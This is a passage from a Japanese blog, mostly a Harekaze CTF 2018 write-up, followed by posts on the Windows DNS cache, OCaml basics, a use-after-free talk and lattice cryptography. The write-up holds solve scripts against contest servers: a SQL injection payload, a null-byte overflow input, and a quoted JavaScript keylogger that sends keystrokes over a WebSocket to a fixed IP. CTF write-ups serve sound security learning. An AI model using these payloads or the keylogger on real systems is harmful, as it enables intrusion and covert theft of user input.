Harekaze CTF 2018 供養(Writeup)

Harekaze CTF 2018に参加。1430ptで23位。

welcome flag (WarmUp, 10 points)

HarekazeCTF{Welcome to the Harekaze CTF!}

easy problem (WarmUp, 30 points)

ROT13。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 'UnerxnmrPGS{Uryyb, jbeyq!}'.decode('rot13')
u'HarekazeCTF{Hello, world!}'

Obfuscated Password Checker (Web, 50 points)

bundle.jsに難読化されたパスワードチェック処理がある。 グローバル変数にいろいろ入っているので、Developer Toolsのコンソールで調べてみるとフラグがあった。

>> console.dir(window)
Window
  _0x2b0ce8: function _0x2b0ce8()
  _0x91f9: Array [ "E1fCjlfCmg==", "wrh/dD3DpMKxWBfDjDLDnFjCncK0VsOKY3Qu", "wpPDv8OUbcKke8KYwq3Cu8OSw6TCscK+w7cuwpzCjx0AwqRMw4BbwrE2wqzChcKUwo/Di8OuVQ==", … ]
  _0x991f: _0x991f()
    arguments: null
    caller: null
    data: {…}
      0V1mU: "apply"
      2tyXd: "{}.constructor(\"return this\")( )"
      3wC12: "console"
      "6E&wy": "warn"
      "12M)@": "return (function() "
      "12ea#G": "console"
      15UjzH: "console"
      16RI1J: "debug"
      "17Y]U9": "console"
      18Ay1I: "info"
      19Ay1I: "console"
      "22rg!@": "exception"
      "23cO2*": "console"
      24BOyr: "trace"
      26BOyr: "call"
      "27e]Rd": "exports"
      28wC12: "exports"
      "29O!qf": "exports"
      "37f&tJ": "addEventListener"
      "39i$MQ": "getElementById"
      "41ea#G": "getElementById"
      43SbU8: "getElementById"
      "44ea#G": "info"
      "45H@[h": "addEventListener"
      "46VpD$": "click"
      "59e]Rd": "length"
      "60Lt&5": "constructor"
      "61eQq&": "debugger"
      62V1mU: "constructor"
      63Ay1I: "debugger"
      132PNc: "log"
      "144%nq": "console"
      208DMT: "error"
      212PNc: "console"
      361Z5I: "HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}"
      "384%nq": "load"
      "422M)@": "button"
      409061: "password"
      __proto__: Object { … }
    initialized: true
    length: 2
    name: "_0x991f"
    once: true
    prototype: Object { … }
    rc4: function _0x15a4b9()
    __proto__: function ()
  [default properties]
  __proto__: WindowPrototype { … }

div N (Rev, 100 points)

整数除算のmagic numberから除数を逆算する問題。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> pow(2, 64+0x30)/0x49ea309a821a0d01 + 1
974873638438446L

gacha (Crypto, 100 points)

RSA。 平文がわかっているので、暗号文を計算して一致するものを選ぶ。

# -*- coding: utf-8 -*0
from minipwn import *

# >>> [x.encode('hex') for x in ['WIN 💎', 'LOSE 💩']]
# ['57494e20f09f928e', '4c4f534520f09f92a9']

s = socket.create_connection(('problem.harekaze.com', 30214))
print recvuntil(s, '\n\n')

while True:
    print recvline(s)
    x1 = eval(recvline(s)[12:-1])
    x2 = eval(recvline(s)[12:-1])
    x3 = eval(recvline(s)[12:-1])
    recvuntil(s, '>>> ')
    options = [x1, x2, x3]
    for i, v in enumerate(options):
        n, e, c = v
        result = pow(0x57494e20f09f928e, e, n)
        if result == c:
            sendline(s, str(i+1))
            break
    else:
        raise Exception('something wrong')
    for i in xrange(6):
        print recvline(s),
    maybe_flag = recvline(s)
    if 'HarekazeCTF' in maybe_flag:
        print maybe_flag
        break
[+] you got the flag 🏁: HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}

Fight (Crypto, 100 points)

乱数でbyte-wise XORされたフラグを求める問題。 乱数のseedが 4529255040439033800342855653030016000 未満の互いに素な自然数の個数(オイラーのφ関数)になっている。

$ gp -q
? eulerphi(4529255040439033800342855653030016000)
765753154007029226621575888896000000

seedを与えてXORするとフラグが得られる。

b'HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}'

Harekaze Farm (Pwn, 100 points)

strcpyがnullバイトで処理を止めることを利用する。

from minipwn import *

#s = connect_process(['./harekaze_farm'])
s = socket.create_connection(('problem.harekaze.com', 20328))
print recvuntil(s, ': ')
sendline(s, 'cow\x00AAAAisoroku')
print recvuntil(s, ': ')
sendline(s, '')
print recvuntil(s, ': ')
sendline(s, '')
interact(s)
$ python solve.py
Welcome to Harekaze farm
Input a name of your favorite animal:
Input a name of your favorite animal:
Input a name of your favorite animal:
Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}

*** Connection closed by remote host ***

15 Puzzle (Rev, 200 points)

.NET実行ファイル。

$ file Harekaze15Puzzle.exe
Harekaze15Puzzle.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyで開くと、乱数を固定回数得た後byte-wise XORすることでフラグを復号していることがわかる。 乱数のseedはクラスのアセンブリコードから作られているので、先にデバッガにてseedを調べた後アセンブリコードを編集することでフラグを得た。

HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}

Logger (Rev + Net, 200 points)

与えられたpcapにあるbundle.jsのスクリプトを見ると、WebSocketでUser-Agentとキーコードをエンコードして送っていることがわかる。 エンコード処理は、変換テーブルを鍵tとしたBase58風の変換になっている。

window.addEventListener("DOMContentLoaded", function() {
    function encode(s, t) {
        var r = [];
        if (typeof s === "string") {
            s = new TextEncoder("utf-8").encode(s)
        }
        var i, z;
        for (i = 0; i < s.length; i++) {
            if (s[i]) {
                break
            }
        }
        z = i;
        for (; i < s.length; i++) {
            var c = s[i];
            var j;
            for (j = 0; j in r || c; j++) {
                if (r[j]) {
                    c += r[j] * 256
                }
                r[j] = c % 58;
                c = Math.floor(c / 58)
            }
        }
        return t[0].repeat(z) + r.reverse().map(function(x) {
            return t[x]
        }).join("")
    }

    function hash(s) {
        var r = 0,
            i;
        for (i = 0; i < s.length; i++) {
            r = r * 31 + s.charCodeAt(i) | 0
        }
        return r
    }

    function rand(s) {
        var x = 123456789;
        var y = 362436069;
        var z = 521288629;
        var w = 88675123;
        var t;
        return function(a, b) {
            t = x ^ x << 11;
            x = y;
            y = z;
            z = w;
            w = w ^ w >> 19 ^ (t ^ t >> 8);
            if (a !== undefined && b !== undefined) {
                return a + w % (b + 1 - a)
            }
            return w
        }
    }

    function shuffle(a, r) {
        var i;
        for (i = a.length - 1; i > 0; i--) {
            var j = Math.abs(r(0, i));
            var t = a[i];
            a[i] = a[j];
            a[j] = t
        }
    }
    var w = new WebSocket("ws://192.168.99.101:7467");
    var t = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp";
    w.addEventListener("open", function(event) {
        var s = navigator.userAgent;
        w.send(encode(navigator.userAgent, t));
        t = t.split("");
        shuffle(t, rand(hash(s)));
        t = t.join("")
    });
    Array.from(document.getElementsByTagName("input")).forEach(function(e) {
        e.addEventListener("keyup", function(v) {
            w.send(encode(Math.random().toString().slice(2) + " " + v.key, t))
        }, false)
    })
}, false);

鍵はUser-Agentを送信した後変わるので、復号したUser-Agentをもとに次の鍵を計算する。

texts = """T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
iCmUsu3sWAgt1DLDTPiCsMkiJ
iTS5kqhhN6dZgQfzeXgG7yYr5
uKGMC4ZpKpR1Hbek9LnoWag
MENtnhfQx47g2MD4YfaPpapNRA
iBKoHeQsAyZ3yYg5uzbDpVBza
mez8Y8onREos36hbs1W3PrzEVyF
ioHr8fnSqtoRvLkvW6z6YoZLQ
iBKN3429YfCEmRAxT6f9g9Qsv
yvDepd8vhnp8MQNeYfiBKg2L5apQCZ
iDM2FWZnm2fnpYmYGmqVWex27
iDyQ3jA179gqDNzj51e8SzqfP
iDRMoK3vV8dwipy12npBHDCx6
RoAaJ29cybX87mddDKDJdDEw3ZGE29
iDVvjasQqyiaf7vKnNixERsNP
iBz2L9ZX6LUyopeooorQDnwYi
MEBmf8UBvosB98ocQawh9XZ45n
iM4zg74tACAR4XB7khRmL5gLC
iCATz5TGy5jcsCLGWawZSc8zc
iyvVZ3Q5xAVGy1ZLXZFdnXTep
iDS5YadHVaegKNDjYJkamNM8a
yvrGR54rYJj19e75eo1TACqEAuGfow
ioPy4npLFrivepDY4MioMARxZ
iBwMxi5246Xg7UQi2yvJQ8Xg6
iyvVWzDwMaVPLaZYQ2y975QT6
4VXm8RKGEgG95iKCXam1ygN
M77CEgVf6os6K6tjN1M6A9y7pn
MVeeCjRXYXcKdAgCxKFTJgAdZo
meFcfCq8k1CzkESo7i4GDRnhx9n
iyvkbgC3k9R7JTPUESdmeZfzn
oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr
iEEhZ5DXWedXQ4iUQbmwrGrs3
dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq
iCAjd7zUWskbSy9RLYjtrZDCV
qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH
iShnuif7DhNDTetUZMXWG9rLJ
iDSiqPQnncdz6Rs6YGzmeWuqE
iC8FaVhXmb1GYXrCGw5CcuAXC
i7fBGggWJf9LNRdVprPLPpei3
i7fxmXUMpgst9kACHosb91Cka
MECvB5p81fNgVACMmJQsVd6cQB
iiDMtEVW7BUo5ocRRN4inXdQ7
iSEGbN9YJHTXWLQp2JRMcPmFp
iy9KSw2qYEeVA627cyZzH6F6U
iCN8mpZLH7uUp1fUADyGA5P95
MECbuHyU6L65iPw5Asw92EekYa
yvzJxXHW4XEPsncH4zSHDxVZf9tzxk
iBz2LgRNBBfq42MTaCV3wvjCR
iM5bfsw5xU93kTpig2Q4YmS7A
iBYgT3V51QMxRuxhUS1dSm6s2
ME8pn9tTKm3HEkhnFUeXyB7Wtd
iCN5jfUJiqBYWEbP3hhFgDfci
iDVWAJwuudMAi7x7CpNGARxA4
iMGUZeMFtyDcYf7qGpMHfsEvB
iCA3E5NsH2vMvZck9rexTLXG4
horZcydUns9SRFV8wefAJhEYWGwVfxrS
ME131HW8CbVfH26b1XpK6741Kk
iSEGaKaTXheBaHoAFgrF2ncaL
T6Kihw84sq6JnwNc1V6ps5
iDSNbdyahA2wUahbo5oaztjvm
iyvVWY7oECQ2PE3nLMW9ZcR1Q
iidqHMFJ5xshHM4XstWfXvHqJ
hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m
iC51H2btb9FywrKrgFCqcCUnA
iyvVZ8xTQrukCAiSe6Yrfogg4
i7qb1XR4yhPUzyK1y1k1M1kHH
iyducwzyZxJgeN11VjtYrPnrt
iBwageNmGH9F1Cx7gcK8nhPkC
yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
"""

def base58_like_decode(s, key):
    base_count = len(key)

    decoded = 0
    multi = 1
    s = s[::-1]
    for char in s:
        decoded += multi * key.index(char)
        multi = multi * base_count
    return ("%02x" % decoded).decode('hex')

key1 = 'MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp'
key2 = 'Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq'
for i, line in enumerate(texts.splitlines()):
    key = key1 if i < 4 else key2
    print "%r" % base58_like_decode(line, key)
$ python solve.py
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'9939691852144892 i'
'3859885261512208 r'
'150145858608417 i'
'18567251159095166 z'
'7576458777211459 a'
'026972594242234305 k'
'2764480095938977 i'
'7619045353800709 _'
'5178571305666269 Shift'
'8074027219998314 m'
'8956491355702074 e'
'8670453908645435 i'
'011659703838099222 Tab'
'8187754933758598 u'
'7137578694896829 t'
'10685363636314182 e'
'4037649614420644 u'
'9547499006667151 t'
'6804633006850678 e'
'8527906993351082 _'
'5419370398984358 Shift'
'2139335311774213 d'
'7719704024064638 a'
'6872561448387979 m'
'978853711240298 a'
'27678191579008526 s'
'21712587887769974 h'
'008838643293209936 i'
'6968951321131645 i'
'5659857613222705 Control'
'0881841960341716 a'
'809443148452283 Backspace'
'9590280939075162 H'
'04511512569247045 Shift'
'5801697350055479 a'
'8402687974500731 r'
'9049605873902304 e'
'5007062769608761 k'
'5096873156118242 a'
'12161528139619371 z'
'1005416542059554 e'
'5629111190926932 C'
'6008572749776933 T'
'9409767293718467 F'
'12544265098544072 {'
'5884094633930836 Shift'
'7134343065666682 7'
'4504682199625718 r'
'7963206866962564 1'
'17610405187451073 6'
'9442152449942891 6'
'8273018665705658 3'
'4154717364716134 r'
'9617594337921764 _'
'40848781307522053 Shift'
'15416183502271852 h'
'5645719251292425 4'
'98042680667325 p'
'8572499225178345 p'
'6875257188592576 y'
'1751574910137419 _'
'28951702513811517 Shift'
'9235607179034739 6'
'6800631359494727 1'
'5440433413536723 r'
'6339927149278366 l'
'7846849786881289 }'
'7076479870105414 Shift'
"\x1b\x1bC\xaf\x81\xe2\xf4\x9d\x9e\xc2V\xd7I4=,\xcb\x17a\xdf\xd8\x9d\xe1Y\xa3\x977\x08\xe2\xe8\x95X2\x13.\xd1\xac\xbdc\xa6\xf1:\xe2_\xda\x0c+\xf6q\x9d2\xae8x\xd5\xe6\xd1\x13I(|Yi\x97[\xc9$;p\xdd\xff\xbc\xef\xbb\xcb\xf0\xb1\xeeH\xcd]\xbat'pkVX\xfbo\x89-\x05H\xbb\xc8!\x86\x93\xb6\xc1\x84\xdc\x00\x1f\xb8\x89xx\x84\xf2\xc3\xf1\xae\xc4"
HarekazeCTF{7r1663r_h4ppy_61rl}

Round and Round (Crypto, 200 points)

RSA。 次の3つの値が与えられる。

enc = pow(FLAG, e, n)
p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))

次のような連立方程式が成り立つので、これを解くことでp1、q1からp、qが求まる。

p1 = \sigma_{i=0}^{q-1} ((p-1)^i mod p) = 1 + (p-1) + (p^2-2*p+1) + ... = 1 + (p-1) + 1 + (p-1) + ... + 1 = (p-1)*(q-1)/2 + q/2
q1 = (p-1)*(q-1)/2 + p/2
import gmpy

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

a = p1
b = q1
t = gmpy.sqrt(4*a*a-8*a*b+4*a+4*b*b+4*b-3)
p = (t-2*a+2*b+1)/2
q = (t+2*a-2*b+1)/2

e = (1<<16)+1
d = gmpy.invert(e, (p-1)*(q-1))
print ("%02x" % pow(enc, d, p*q)).decode('hex')
$ python solve.py
HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}

Sokosoko Secure Uploader (Web, 100 points)

与えられた暗号化済みPNGファイルを復号する問題。また、鍵となるUUIDが9e5aで始まることが与えられている。 SQLiteSQL injection脆弱性があるが、is_uuid関数によるチェックを通るように文字列を与える必要がある。

'OR id/*-AAAA-AAAA-AAAA-*/LIKE'9e5a%
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}

my favorite language (Rev + Misc, 200 points)

Lazy Kで書かれたフラグチェッカー。 C言語で書かれたインタプリタで実行した際の命令数をIntel Pinを用いて調べると、1バイトごとに比較が行われていることがわかる。 何文字か探索するとフラグが16進文字列らしいことがわかるので、これを利用して範囲を絞りつつ探索する。

from subprocess import Popen, PIPE

chars = map(ord, ' 0123456789ABCDEF{}')

s = 'HarekazeCTF{'
while True:
    last = None
    #for c in xrange(0x20, 0x7f):
    for c in chars:
        s2 = s + chr(c)
        p = Popen(['bash', '../pin-3.5-97503-gac534ca30-gcc-linux/inscount0.sh', './lazyk', 'foo.lazy'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = p.communicate(s2+'\n')
        inscount = int(stderr)
        print "%s: %d" % (s2, inscount)
        if last is not None and inscount > last:
            s = s2
            break
        last = inscount
    else:
        raise Exception()
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93Cz: 248839183
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C{: 244417392
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C|: 241721601
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C}: 241942949
$ echo -n HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C} | ./lazyk foo.lazy
correct flag

recursive zip (Warmup, 40 points)

flag.zipの中にflag.zipが再帰的に入っているという問題。 次のようなシェルスクリプトで解いた。

#!/bin/bash
unzip -p flag.zip >a.zip
while true; do
xxd a.zip | head
unzip -p a.zip >b.zip
xxd b.zip | head
unzip -p b.zip >a.zip
done
HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}

所感

他に解きたかった問題は以下。

  • Lost_data (For + Misc, 100 points)
  • WE'RE WATCHING YOU! (Misc +OSINT, 100 points)
  • Unnormalized-form Data (Misc, 127 points)
  • Flea Attack (Pwn, 200 points)
  • alnush (Pwn, 200 points)
  • gacha 2 (Crypto, 350 points)
  • my favorite language 2 (Rev + Misc, 250 points)

WindowsホストのDNSキャッシュを表示する

OS起動中に保持されるDNSキャッシュを表示するには、ipconfig /displaydns または powershell -c Get-DNSClientCacheWindows 8以降)を使う。

>ipconfig /displaydns

Windows IP 構成

    www.gstatic.com
    ----------------------------------------
    タイプ AAAA のレコードがありません


    www.gstatic.com
    ----------------------------------------
    レコード名 . . . . . . . : www.gstatic.com
    レコードの種類 . . . . . : 1
    Time To Live  . . . . . .: 236
    データの長さ . . . . . . : 4
    セクション . . . . . . . : 回答
    A (ホスト) レコード. . . : 216.58.221.3

(snip)

    pagead46.l.doubleclick.net
    ----------------------------------------
    タイプ AAAA のレコードがありません


    pagead46.l.doubleclick.net
    ----------------------------------------
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
    レコードの種類 . . . . . : 1
    Time To Live  . . . . . .: 93
    データの長さ . . . . . . : 4
    セクション . . . . . . . : 回答
    A (ホスト) レコード. . . : 172.217.26.2

>ipconfig /displaydns | findstr レコード名
    レコード名 . . . . . . . : safebrowsing.googleapis.com
    レコード名 . . . . . . . : www.gstatic.com
    レコード名 . . . . . . . : plus.l.google.com
    レコード名 . . . . . . . : ssl.gstatic.com
    レコード名 . . . . . . . : www.google.com
    レコード名 . . . . . . . : adservice.google.co.jp
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
    レコード名 . . . . . . . : apis.google.com
    レコード名 . . . . . . . : plus.l.google.com
    レコード名 . . . . . . . : www.google.co.jp
    レコード名 . . . . . . . : pagead46.l.doubleclick.net
>powershell -c Get-DNSClientCache

Entry                     RecordName                Record Status    Section TimeTo Data L Data
                                                    Type                     Live   ength
-----                     ----------                ------ ------    ------- ------ ------ ----
c.msn.com.nsatc.net       c.msn.com.nsatc.net       A      Success   Answer     103      4 111.221.29.30
devconnections.com        devconnections.com        A      Success   Answer   86043      4 8.33.3.94
(snip)
www.facebook.com          www.facebook.com          CNAME  Success   Answer      14      8 star-mini.c10r.facebook.com
www.facebook.com          star-mini.c10r.faceboo... A      Success   Answer      14      4 31.13.82.36

>powershell -c "Get-DNSClientCache | select Entry,Data"

Entry                                                       Data
-----                                                       ----
c.msn.com.nsatc.net                                         111.221.29.30
devconnections.com                                          8.33.3.94
(snip)
www.facebook.com                                            star-mini.c10r.facebook.com
www.facebook.com                                            31.13.82.36

なお、データの実体はサービス名Dnscache(DNS Client)を提供するプロセスsvchost.exeのヒープメモリ上にある。

関連リンク

OCamlで簡単なプログラムを書いてみる

プログラミング言語のひとつであるOCamlで簡単なプログラムを書いてみる。

環境

Ubuntu 16.04.2 LTS 64bit版、OCaml 4.02.3

$ uname -a
Linux vm-ubuntu64 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

$ ocaml -version
The OCaml toplevel, version 4.02.3

OCamlの概要

OCamlはINRIA(フランス国立情報学自動制御研究所)によって開発されたプログラミング言語であり、関数型言語MLの方言であるCamlにオブジェクト指向の要素が取り入れられたものである。 他の関数型言語と同様に、静的な型システム・型推論、パターンマッチ、末尾呼び出し最適化等を備えている。

関数型言語として比較的近いものにHaskellがあるが、Haskellとの違いのひとつに評価戦略がある。 Haskellが遅延評価であるのに対し、OCamlは正格評価である。 遅延評価には不必要な計算が行われないという利点がある一方で、未評価の式(thunk)が溜まるとパフォーマンスが落ちる(スペースリーク)という難点がある。 OCamlは正格評価であるため、正格評価を行う多くのプログラミング言語と同様に考えることができる。 なお、Haskellseq$!で正格評価を扱うことができる(参考)ように、OCamllazyによって遅延評価を扱うことができる。

OCamlが使われているプロジェクトとしては、以下が挙げられる。

OCamlのインストール

Ubuntuの場合、標準リポジトリからパッケージをインストールできる。 ocaml-noxX11サポートなし、ocamlX11サポートありである。

$ sudo apt install ocaml-nox

なお、OCamlにはパッケージマネージャとしてOPAMがあるが、ここではインストールしないことにする。

ocamlコマンドでインタプリタを起動し、適当な計算を行ってみる。 インタプリタでは、;; で式の終わりを表す。

$ ocaml
        OCaml version 4.02.3

# let rec sigma a b f =
    if a > b then 0 else f a + sigma (a+1) b f;;
val sigma : int -> int -> (int -> int) -> int = <fun>
# sigma 1 10 (fun x -> x*x);;
- : int = 385
# [Ctrl+D]

上のコードでは、Σ_{i=1}^10 i^2 = 1^2 + 2^2 + ... + 10^2 = 385 を計算している。 OCamlにおいて、匿名関数(ラムダ式)は (fun PARAMETER_1 ... PARAMETER_n -> EXPR) と書く。

簡単なプログラムを書いてみる

プログラムの例として、素因数分解を行う factor.ml を書いてみる。

let factor n =
  let rec aux d n =
    if n < d*d then [n]
    else if n mod d = 0 then d :: aux d (n/d)
    else aux (d+2) n in
  let rec aux2 n =
    if n < 2 then []
    else if n mod 2 = 0 then 2 :: aux2 (n/2)
    else aux 3 n in
  aux2 n

(* entrypoint *)
let () =
  let n = int_of_string Sys.argv.(1) in
  (* let n = int_of_string @@ read_line () in *)
  let factors = factor n in
  print_endline @@ (string_of_int n) ^ ": " ^ (String.concat " " @@ List.map string_of_int factors)

factor は一通り2で割った後、平方根以下の奇数で試し割りを行う関数である。 OCamlにはC言語におけるmain関数のような概念がないため、慣習的に let () = ... 等でエントリポイントが表わされる。 コメントは (* *) で表し、C++における // のような1行コメントはない。 また、^ は文字列連結を行う演算子@@Haskell$ に相当し、g (f x) == g @@ f x のように括弧を避ける用途で用いられる演算子である(参考)。

ocamloptコマンドで実行ファイルにコンパイルし、実行してみると次のようになる。

$ ocamlopt factor.ml -o factor

$ file factor
factor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4a20beb80735f3abf4a7f6d85b343a7a737fcb87, not stripped

$ ./factor 360
360: 2 2 2 3 3 5

$ time ./factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

real    0m4.946s
user    0m4.944s
sys     0m0.000s

$ factor 4611686018427387903
4611686018427387903: 3 715827883 2147483647

上の結果から、正しく実行ファイルにコンパイルされ、素因数分解できていることが確認できる。

なお、64 bit環境においてOCamlのintは63 bit符号付き整数であり、-262から262-1までの値となる。 64 bitのうちの1ビットは内部でガベージコレクション用に利用される(参考)。

$ ./factor 4611686018427387904
Fatal error: exception Failure("int_of_string")

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> bin(4611686018427387904)
'0b100000000000000000000000000000000000000000000000000000000000000'
>>> len(_)-3
62
>>> [Ctrl+D]

クラスを使ったプログラムを書いてみる

OCamlらしいプログラムの例として、クラスを使った oop_example.ml を書いてみる。

class virtual animal (name : string) = object(self)
  val mutable name = name
  method set_name new_name = name <- new_name
  method virtual cry : unit
end

class dog name = object(self)
  inherit animal name
  method cry = print_endline @@ name ^ ": bowwow"
end

class cat name = object(self)
  inherit animal name
  method cry = print_endline @@ name ^ ": meow"
end

let () =
  let dog = new dog "Snoopy" in
  let cat = new cat "Kitty" in
  dog#cry;
  cat#cry;
  dog#set_name "Pochi";
  cat#set_name "Tama";
  dog#cry;
  cat#cry

animal#cry のような仮想メソッドを持つクラスには、クラス本体にも virtual キーワードを付ける必要があることに注意する。

コンパイルして実行すると次のようになる。

$ ocamlopt oop_example.ml -o oop_example

$ ./oop_example
Snoopy: bowwow
Kitty: meow
Pochi: bowwow
Tama: meow

関連リンク

「Can We Prevent Use-after-free Attacks?」というタイトルで発表した

2年前に発表していた勉強会が久しぶりに開催されるということで、Use-after-free攻撃の原理と対策について話した。

最近はCTFが盛り上がっていることもあり、攻撃手法についての話を見ることが多いのだけど、そこから先のどうやったら防げるかという話を見ることは相対的に少ないように思う。 しかし、Attack and Defence形式のCTFにおけるDefence部分だったり、Cyber Grand Challangeにおけるpatch適用の自動化だったり、防御側の視点というのもあるわけで、そういった視点への理解を深めることも必要なのではないか。

あとは、○○はダメだとか、○○すべきなのではないかとか、個々のセキュリティ対策についての議論を見ることも多いのだけど、必要なのはリスクの洗い出しからの評価・対応といったリスクマネジメントを行うことであって、○○が是か非かというような誤った二分法に落とし込むのは少し違うように感じる。 結局のところ、その環境において想定されるリスクに対してコスト・ベネフィットのバランスが取れた管理ができているかというところが「問題」なのではないか。

そういった問題意識から、Use-after-free攻撃という具体的な例について、全体としてどういう対策があるのかというのをまとめてみた。 自分自身、セキュアなアセンブリコードを吐くコンパイラ改良だったり、セキュアなメモリ管理を行うGC付きheapといったコンセプトについて考えるきっかけにもなった。

他の発表も、過去から今を知っているからこその資料的価値のあるものだったり、触れられることの少ないトピックに関する検証を行ったものだったりで、一参加者としてもとても楽しめる内容だった。 さまざまな人の反応を知れたり意見交換ができたことも、よい刺激になった。

ありがとうございました。

LWE格子暗号による暗号化をやってみる

近年、量子コンピュータ研究の進展により、量子コンピュータでも解くのが難しい暗号(Post-quantum cryptography; 耐量子計算機暗号)への注目が高まっている。 ここでは、耐量子計算機暗号のひとつであるLWE格子暗号の原理を説明し、単純化したアルゴリズムで暗号化を行うプログラムコードを書いてみる。

格子とLearning with Errors問題

LWE格子暗号は、Learning with Errorsと呼ばれる問題をもとにした公開鍵暗号方式である。

格子とは、基底ベクトルの整数係数線形結合で表される点(格子点)からなる集合である。 格子については、直交しない基底ベクトルからある点Pに最も近い格子点を求めることが計算量的に困難であるといわれている。 これは、最近ベクトル問題(Closest Vector Problem; CVP)と呼ばれる。

